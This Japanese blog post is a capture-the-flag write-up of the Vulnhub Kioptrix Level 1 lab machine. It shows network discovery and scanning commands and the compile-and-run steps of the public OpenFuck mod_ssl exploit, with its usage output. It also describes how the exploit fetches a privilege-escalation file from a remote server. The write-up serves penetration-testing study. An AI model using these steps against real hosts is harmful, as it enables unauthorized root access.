Kioptrix: Level 1解く
Kioptrix: Level 1解く
最近OSCPという資格を知り、ブログ投稿のリハビリがてら、前々からやりたいと思っていたVulnhubの問題を解いていくことにした。
ここに乗っているマシンを全て解いていこう
https://www.abatchy.com/2017/02/oscp-like-vulnhub-vms.html
OSCPではMetasploitを使用できる回数は1回だけらしいのでネットで探して書き換えて使用していく
目標
- なるべくMetasploitのPoCは使用しない
- なるべく他の人が書いたWriteupを見ない
環境構築
https://www.hypn.za.net/blog/2017/07/15/running-kioptrix-level-1-and-others-in-virtualbox/
解いていく
偵察
サーバの脆弱性を探すときは、初手にポートスキャンをするのが相場と決まってるんだぜ✌️
と思ったが、対象サーバのipアドレスがわからないのでまずはそこから探すことにする。
netdiscover
コマンドを使用することで同一ネットワーク内のipアドレスを探すことができる。
設定の段階で同一のネットワークないだということがわかっているので、これを使用する。
攻撃するマシンのipアドレスが192.168.56.102
なので以下のコマンドを叩く
$ netdiscover -r 192.168.56.0/24
これで見つかるはずなのだが、なぜか見つからず、以下のコマンドだと見つかった
$ netdiscover -r 192.168.0.0/16 or $ arp-scan -I eth1 -l
不思議ですねー
私の環境だと192.168.56.101
に攻撃対象のサーバがあるので、そこに対してポートスキャンをかける
まずは普通にスキャンする
いろいろ空いているのが見える。
$ nmap -sV -sC 192.168.56.101
さらに上記のコマンドで動いているサービスのバージョンなどを詳しく調べることができる。
80
や443
が開いているのでwebサーバが立っているっぽい
ブラウザで開いてみる。
webサーバがapacheで動いていそうなページが表示される。
webサーバが動いているので良くある名前を総当たりか、robots.txt
を調べるのが定石っぽい
webアプリケーションの脆弱性スキャナnikto
でスキャンしてみる
$ nikto -h 192.168.56.101
使用しているapacheのバージョンやheaderに足りていないオプションなどが表示される。
mod_sslにバッファオーバーフローの脆弱性があるのでここから何かできそうだ
脆弱性情報を調べる
出力されている情報は以下の通り
mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE- 2002-0082, OSVDB-756.
exploit-dbからPoCを見つけることができたので、コンパイルしてやる
エラーが出た。
下記のサイトの通りに書き換えてやる
https://www.hypn.za.net/blog/2017/08/27/compiling-exploit-764-c-in-2017/
再びコンパイルしてやると通る。
root@todo:~/tools# gcc -o OpenFuck 764.c -lcrypto root@todo:~/tools# ls 764.c OpenFuck root@todo:~/tools# ./OpenFuck -h ******************************************************************* * OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open * ******************************************************************* * by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE * * #hackarena irc.brasnet.org * * TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname * * #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam * * #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ * ******************************************************************* : Usage: ./OpenFuck target box [port] [-c N] target - supported box eg: 0x00 box - hostname or IP address port - port for ssl connection -c open N connections. (use range 40-50 if u dont know) Supported OffSet: 0x00 - Caldera OpenLinux (apache-1.3.26) 0x01 - Cobalt Sun 6.0 (apache-1.3.12) 0x02 - Cobalt Sun 6.0 (apache-1.3.20) ... 0x87 - SuSE Linux 8.0 (apache-1.3.23) 0x88 - SUSE Linux 8.0 (apache-1.3.23-120) 0x89 - SuSE Linux 8.0 (apache-1.3.23-137) 0x8a - Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a) Fuck to all guys who like use lamah ddos. Read SRC to have no surprise
対象のサーバはRedhatでapacheのバージョンは1.3.20なので使用するコマンドは
$ ./OpenFuck 0x6a 192.168.56.101 443 -c 40
で良さそうだ。
早速実行しよう
Goodbye
が出てしまった
Redhatのapache1.3.20に対するオプションはもう1つ0x6b
があるのでそちらを使用してみる
shellを取ることができた。
権限が低いのだがこれでいいのだろうか・・・?
画面を見てみるとptrace-kmod.c
が見つからないというエラーが出ている。
表示されているURLからptrace-kmod.c
をダウンロードしてくることに失敗したみたいだ。
閉じたネットワークで検証しているのでそういったエラーが出るのは当然なので、ローカルのサーバを立ててやることにする。
まずはローカルにptrace-kmod.c
を用意し、ローカルサーバを立ててやる
次にOpenFuckのソースコードを書き換える
これでローカルに立てたサーバからファイルを取得してコンパイル、実行してくれるはずだ。
OpenFuckを再コンパイルして実行してやる。
管理者権限でshellが取得できていることが確認できた
終わりに
writeupをみると他にも脆弱性があり、そこからでもrootが取れたらしい
面白かったです